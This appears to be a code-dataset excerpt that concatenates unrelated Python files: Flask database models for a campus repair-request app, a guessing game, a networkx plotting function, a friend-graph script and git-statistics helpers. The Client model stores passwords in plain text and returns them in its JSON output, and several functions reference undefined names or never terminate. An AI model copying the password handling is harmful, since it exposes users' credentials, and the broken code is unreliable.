db.String(64), nullable=False)\n OS = db.Column('OS', db.String(64), nullable=False)\n description = db.Column('description', db.String(240), nullable=False)\n picture_content = db.Column('picture_content', db.String(900))\n handle_manager_id = db.Column('handle_manager_id', db.Integer, db.ForeignKey('manager.id'))\n post_client_id = db.Column('post_client_id', db.Integer, db.ForeignKey('client.id'))\n comments = db.relationship('Comment', backref='form_to_comment', lazy='dynamic', uselist=True)\n\n\n @hybrid_property\n def pictures(self):\n if not self.picture_content:\n return []\n return self.picture_content.split(', ')\n\n\n @pictures.setter\n def pictures(self, urls):\n self.picture_content = ', '.join(urls)\n\n\n @hybrid_property\n def state(self):\n if not self.handle_manager:\n return 'waiting'\n return self.status\n\n\n @state.setter\n def state(self, managing):\n self.status = managing\n\n\n @staticmethod\n def generate_fake(count=100):\n from random import seed, randint\n import forgery_py\n\n seed()\n client_count = Client.query.count()\n for i in range(count):\n c = Client.query.offset(randint(0, client_count - 1)).first()\n m = Manager.query.offset(randint(0, client_count - 1)).first()\n f = Form(description=forgery_py.lorem_ipsum.words(10),\n post_time=forgery_py.date.date(True),\n campus=['gulou', 'xianlin'][random.randint(0, 1)],\n machine_model=forgery_py.lorem_ipsum.word(),\n OS=forgery_py.lorem_ipsum.word(),\n post_client=c,\n handle_manager=m)\n f.state = ['working', 'done'][random.randint(0, 1)]\n db.session.add(f)\n try:\n db.session.commit()\n db.session.remove()\n except IntegrityError:\n db.session.rollback()\n\n\n def to_json(self):\n handle_manager_username = None\n post_client_phone_number = None\n comments_of_post = None\n if self.post_client:\n post_client_phone_number = self.post_client.phone_number\n if self.handle_manager:\n handle_manager_username = self.handle_manager.username\n if self.comments:\n comments_of_post = [comment.to_json() for comment in self.comments]\n\n json_post = {\n 'url': url_for('api1_1.get_form', id=self.id, _external=True),\n 'comments': comments_of_post,\n 'post_client_phone_number': post_client_phone_number,\n 'handle_manager_username': handle_manager_username,\n 'campus': self.campus,\n 'machine_model': self.machine_model,\n 'OS': self.OS,\n 'description': self.description,\n 'picture_content': self.picture_content,\n 'status': self.status,\n 'timestamp': self.post_time.strftime('%Y-%m-%d %H:%M:%S'),\n }\n return json_post\n\n\nclass Client(db.Model):\n __tablename__ = 'client'\n\n id = db.Column('id', db.Integer, primary_key=True)\n password = db.Column('password', db.String(30), nullable=False)\n phone_number = db.Column('phone_number', db.String(15), index=True, unique=True, nullable=False)\n email = db.Column('email', db.String(64), index=True, unique=True)\n avatar_picture = db.Column('avatar_picture', db.String(120), default='')\n register_time = db.Column('register_time', db.DateTime, index=True, default=datetime.now)\n post_forms = db.relationship('Form', backref='post_client', lazy='dynamic', uselist=True)\n comments = db.relationship('Comment', backref='comment_client', lazy='dynamic', uselist=True)\n\n @staticmethod\n def generate_fake(count=100):\n from sqlalchemy.exc import IntegrityError\n from random import seed\n import forgery_py\n\n seed()\n for i in range(count):\n c = Client(email=forgery_py.internet.email_address(),\n password=forgery_py.lorem_ipsum.word(),\n phone_number=forgery_py.address.phone(),\n register_time=forgery_py.date.date(True))\n db.session.add(c)\n try:\n db.session.commit()\n db.session.remove()\n except IntegrityError:\n db.session.rollback()\n\n\n @staticmethod\n def get_item(id):\n return Client.query.get(id)\n\n def to_json(self):\n json_client = {\n 'phone_number': self.phone_number,\n 'password': self.password,\n 'email': self.email,\n 'avatar_picture': self.avatar_picture,\n 'register_time': self.register_time.strftime('%Y-%m-%d %H:%M:%S'),\n 'post_forms': [form.to_json() for form in self.post_forms.all()],\n 'comments': [comment.to_json() for comment in self.comments.all()]\n }\n\n return json_client\n\n\nclass Comment(db.Model):\n __tablename__ = 'comment'\n\n id = db.Column('id', db.Integer, primary_key=True)\n comment_time = db.Column('comment_time', db.DateTime, default=datetime.now)\n content = db.Column('content', db.String(500), nullable=False)\n manager_id = db.Column('manager_id', db.Integer, db.ForeignKey('manager.id'))\n client_id = db.Column('client_id', db.Integer, db.ForeignKey('client.id'))\n form_id = db.Column('form_id', db.Integer, db.ForeignKey('form.id'))\n comment_to_reply = db.Column('comment_to_reply', db.Integer, index=True)\n\n @hybrid_property\n def reply(self):\n if not self.comment_to_reply:\n return None\n return Comment.query.get_or_404(self.comment_to_reply)\n\n @reply.setter\n def reply(self, comment):\n self.comment_to_reply = comment.id\n\n @hybrid_property\n def commentator(self):\n if self.client_id:\n return {'client': self.comment_client.phone_number}\n elif self.manager_id:\n return {'manager': self.comment_manager.username}\n\n @commentator.setter\n def commentator(self, people):\n if people.__class__ == Client:\n self.comment_client = people\n if people.__class__ == Manager:\n self.comment_manager = people\n\n @staticmethod\n def generate_fake(count=100):\n from random import seed, randint\n import forgery_py\n\n seed()\n client_count = Client.query.count()\n manager_count = Manager.query.count()\n form_count = Form.query.count()\n for i in range(count):\n c = Client.query.offset(randint(0, client_count - 1)).first()\n m = Manager.query.offset(randint(0, manager_count - 1)).first()\n f = Form.query.offset(randint(0, form_count - 1)).first()\n comment = Comment(content=forgery_py.lorem_ipsum.words(10),\n comment_time=forgery_py.date.date(True),\n form_to_comment=f)\n comment.commentator = [c, m][random.randint(0,1)]\n db.session.add(comment) \n try:\n db.session.commit()\n db.session.remove()\n except IntegrityError:\n db.session.rollback()\n\n comment_count = comment.query.count()\n for i in range(count):\n reply = comment.query.offset(randint(0, comment_count - 1)).first()\n c = Client.query.offset(randint(0, client_count - 1)).first()\n m = Manager.query.offset(randint(0, manager_count - 1)).first()\n f = Form.query.offset(randint(0, form_count - 1)).first()\n comment = Comment(content=forgery_py.lorem_ipsum.words(10),\n comment_time=forgery_py.date.date(True),\n form_to_comment=f)\n comment.reply = reply\n db.session.add(comment)\n try:\n db.session.commit()\n db.session.remove()\n except IntegrityError:\n db.session.rollback()\n\n def to_json(self):\n reply_url = None\n if self.reply:\n reply_url = url_for('api1_1.get_comment', id=self.comment_to_reply, _external=True)\n json_comment = {\n 'url': url_for('api1_1.get_comment', id=self.id, _external=True),\n 'form_url': url_for('api1_1.get_form', id=self.form_id, _external=True),\n 'reply_url': reply_url,\n 'content': self.content,\n 'comment_time': self.comment_time.strftime('%Y-%m-%d %H:%M:%S'),\n 'commentator': self.commentator\n }\n\n return json_comment\n","sub_path":"src/app/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"408231327","text":"import random\nguesses = 0\nnum = random.randint(1, 10)\nwhile guesses < 3:\n guess = int(input(\"Enter a number: \"))\n if guess == num:\n print(\"You guessed it! \")\n break\n elif guess != num:\n print(\"That was incorrect. \")\n guesses += 1\n","sub_path":"Python/2021/Class 4/Student Code/Aditya Kumar/Assignment1.py","file_name":"Assignment1.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"243674571","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom .utils import despine\n\n\ndef draw_paths(\n G,\n paths,\n pos,\n edge_equal=False,\n edge_scalar=1.0,\n edge_color='k',\n style='solid',\n edge_alpha=1.0,\n arrows=False,\n arrowstyle='-|>',\n arrowsize=10,\n nodelist=None,\n node_size=300,\n node_color='r',\n node_shape='o',\n alpha=1.0,\n cmap='plasma',\n cmap_truncate=False,\n cmap_max=0.95,\n cmap_min=0.05,\n vmin=None,\n vmax=None,\n ax=None,\n linewidths=0,\n edgecolors=\"black\",\n label=None,\n colorbar=False,\n ):\n \"\"\"Draw paths in GenotypePhenotypeGraph\n\n Parameters\n ----------\n G : graph\n A networkx graph\n\n pos : dictionary\n A dictionary with nodes as keys and positions as values.\n Positions should be sequences of length 2.\n\n edgelist : collection of edge tuples\n Draw only specified edges(default=G.edges())\n\n width : float, or array of floats\n Line width of edges (default=1.0)\n\n edge_color : color string, or array of floats\n Edge color. Can be a single color format string (default='r'),\n or a sequence of colors with the same length as edgelist.\n If numeric values are specified they will be mapped to\n colors using the edge_cmap and edge_vmin,edge_vmax parameters.\n\n style : string\n Edge line style (default='solid') (solid|dashed|dotted,dashdot)\n\n alpha : float\n The edge transparency (default=1.0)\n\n cmap_truncate : bool\n Use only a subspace of the color map spectrum. If False whole color spectrum (0 to 1) is used.\n\n cmap_min : float (default=0.05)\n Lower bound of the color spectrum.\n\n cmap_max : float (default=0.95)\n Upper bound of the color spectrum.\n\n edge_cmap : Matplotlib colormap\n Colormap for mapping intensities of edges (default=None)\n\n edge_vmin,edge_vmax : floats\n Minimum and maximum for edge colormap scaling (default=None)\n\n ax : Matplotlib Axes object, optional\n Draw the graph in the specified Matplotlib axes.\n\n arrows : bool, optional (default=True)\n For directed graphs, if True draw arrowheads.\n Note: Arrows will be the same color as edges.\n\n arrowstyle : str, optional (default='-|>')\n For directed graphs, choose the style of the arrow heads.\n See :py:class: `matplotlib.patches.ArrowStyle` for more\n options.\n\n arrowsize : int, optional (default=10)\n For directed graphs, choose the size of the arrow head head's length and\n width. See :py:class: `matplotlib.patches.FancyArrowPatch` for attribute\n `mutation_scale` for more info.\n\n label : [None| string]\n Label for legend\n\n \"\"\"\n # Get Figure.\n if ax is None:\n fig, ax = plt.subplots()\n despline(ax)\n else:\n fig = ax.get_figure()\n\n # Get flux through edges\n edges = paths_prob_to_edges_flux(paths)\n edge_list = list(edges.keys())\n\n\n\n # Default options\n node_options = dict(\n nodelist=nodelist,\n vmin=vmin,\n vmax=vmax,\n node_shape=node_shape,\n node_size=node_size,\n node_color=[G.nodes[n]['phenotypes'] for n in nodelist],\n linewidths=linewidths,\n edgecolors=edgecolors,\n cmap=cmap,\n cmap_truncate=False,\n labels={n: G.nodes[n]['genotypes'] for n in nodelist}\n )\n\n # Draw edges\n nx.draw_networkx_edges(\n G=G,\n pos=pos,\n edgelist=edgelist,\n width=width,\n edge_color=edge_color,\n ax=ax,\n style=style,\n alpha=edge_alpha,\n arrows=arrows,\n arrowstyle=arrowstyle,\n arrowsize=arrowsize,\n )\n\n # Draw nodes.\n nx.draw_networkx_nodes(\n G=G,\n pos=pos,\n ax=ax,\n **node_options\n )\n\n # Add a colorbar?\n if colorbar:\n norm = mpl.colors.Normalize(\n vmin=vmin,\n vmax=vmax)\n\n # create a ScalarMappable and initialize a data structure\n cm = mpl.cm.ScalarMappable(cmap=cmap, norm=norm)\n cm.set_array([])\n fig.colorbar(cm)","sub_path":"gpgraph/pyplot/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"152195594","text":"\ngraph = {1 : [6], \\\n 2 : [6], \\\n 3 : [4, 15], \\\n 4 : [3, 5, 6], \\\n 5 : [3, 4, 6], \\\n 6 : [1, 2, 3, 4, 5, 7], \\\n 7 : [6, 8], \\\n 8 : [7, 9], \\\n 9 : [10, 11, 12], \\\n 10: [9, 10], \\\n 11: [10, 12], \\\n 12: [9, 11, 13], \\\n 13: [12, 14, 15], \\\n 14: [13], \\\n 15: [3, 13], \\\n 16: [17, 18], \\\n 17: [16, 18], \\\n 18: [18, 17] }\n\n\ndef insert(node1, node2):\n \n if node1 not in graph:\n graph[node1] = [node2]\n if node2 not in graph:\n graph[node2] = [node1]\n if node2 not in graph[node1]:\n graph[node1].append(node2)\n if node1 not in graph[node2]:\n graph[node2].append(node1)\n\n\ndef delete(node1, node2):\n \n if node1 in graph[node2]:\n graph[node2].remove(node1)\n graph[node1].remove(node2)\n\n\ndef num(node1):\n print (len(graph[node1]))\n\n\ndef FofF(node):\n FofF = [node]\n count = 0\n\n for friend in graph[node]:\n FofF.append(friend)\n for friend in graph[friend]:\n if friend not in FofF:\n count += 1\n FofF.append(friend)\n print (count)\n\n\nsep_exit = False\nsep_count = 0\ndef seperation(node1, node2):\n\n arr = [node1]\n i = 0\n count = 0\n while node2 not in arr:\n for node in graph[arr[i]]:\n arr.append(node)\n \n \n \n \n \n \n \n \n\nchoice = \"\"\n\nwhile not choice == \"q\":\n choice = input()\n if choice == \"i\":\n insert(int(input()), int(input()))\n elif choice == \"d\":\n delete(int(input()), int(input()))\n elif choice == \"n\":\n num(int(input()))\n elif choice == \"f\":\n FofF(int(input()))\n elif choice == \"s\":\n seperation(int(input()), int(input()))\n sep_exit = False\n sep_count = 0\n print (graph)\n \n\n\n\n \n","sub_path":"python/2009 j5.py","file_name":"2009 j5.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"134993311","text":"import os\nimport unittest\nimport datetime\nimport re\nfrom six import iteritems\nfrom analysis import GitStatistics\nfrom tools.shellhelper import get_pipe_output\n\nconf = {\n 'max_domains': 10,\n 'max_ext_length': 10,\n 'max_authors': 20,\n 'authors_top': 5,\n 'commit_begin': '',\n 'commit_end': 'HEAD',\n 'linear_linestats': 1,\n 'project_name': '',\n 'processes': 8,\n 'start_date': ''\n}\n\n\ndef getlogrange(defaultrange='HEAD', end_only=True):\n commit_range = getcommitrange(defaultrange, end_only)\n if len(conf['start_date']) > 0:\n return '--since=\"%s\" \"%s\"' % (conf['start_date'], commit_range)\n return commit_range\n\n\ndef getcommitrange(defaultrange='HEAD', end_only=False):\n if len(conf['commit_end']) > 0:\n if end_only or len(conf['commit_begin']) == 0:\n return conf['commit_end']\n return '%s..%s' % (conf['commit_begin'], conf['commit_end'])\n return defaultrange\n\n\ndef get_num_files_in_revision(time_rev):\n \"\"\"\n Get number of files at a given revision\n \"\"\"\n time, rev = time_rev\n return int(time), rev, int(get_pipe_output(['git ls-tree -r --name-only \"%s\"' % rev, 'wc -l']).split('\\n')[0])\n\n\ndef get_tags_info():\n tags = {}\n lines = get_pipe_output(['git show-ref --tags']).split('\\n')\n for line in lines:\n if len(line) == 0:\n continue\n (hash, tag) = line.split(' ')\n\n tag = tag.replace('refs/tags/', '')\n output = get_pipe_output(['git log \"%s\" --pretty=format:\"%%at %%aN\" -n 1' % hash])\n if len(output) > 0:\n parts = output.split(' ')\n try:\n stamp = int(parts[0])\n except ValueError:\n stamp = 0\n tags[tag] = {'stamp': int(stamp), 'hash': hash,\n 'date': datetime.datetime.fromtimestamp(stamp).strftime('%Y-%m-%d'), 'commits': 0,\n 'authors': {}}\n\n # collect info on tags, starting from latest\n tags_sorted_by_date_desc = [el[1] for el in reversed(sorted([(el[1]['date'], el[0]) for el in tags.items()]))]\n prev = None\n for tag in reversed(tags_sorted_by_date_desc):\n cmd = 'git shortlog -s \"%s\"' % tag\n if prev is not None:\n cmd += ' \"^%s\"' % prev\n output = get_pipe_output([cmd])\n if len(output) == 0:\n continue\n prev = tag\n for line in output.split('\\n'):\n parts = re.split('\\s+', line, 2)\n commits = int(parts[1])\n author = parts[2]\n tags[tag]['commits'] += commits\n tags[tag]['authors'][author] = commits\n return tags\n\n\ndef get_stat_summary_counts(line):\n numbers = re.findall('\\d+', line)\n if len(numbers) == 1:\n # neither insertions nor deletions: may probably only happen for \"0 files changed\"\n numbers.append(0)\n numbers.append(0)\n elif len(numbers) == 2 and line.find('(+)') != -1:\n numbers.append(0) # only insertions were printed on line\n elif len(numbers) == 2 and line.find('(-)') != -1:\n numbers.insert(1, 0) # only deletions were printed on line\n return numbers\n\n\ndef get_authors_info():\n authors = {}\n\n # Collect revision statistics\n # Outputs \"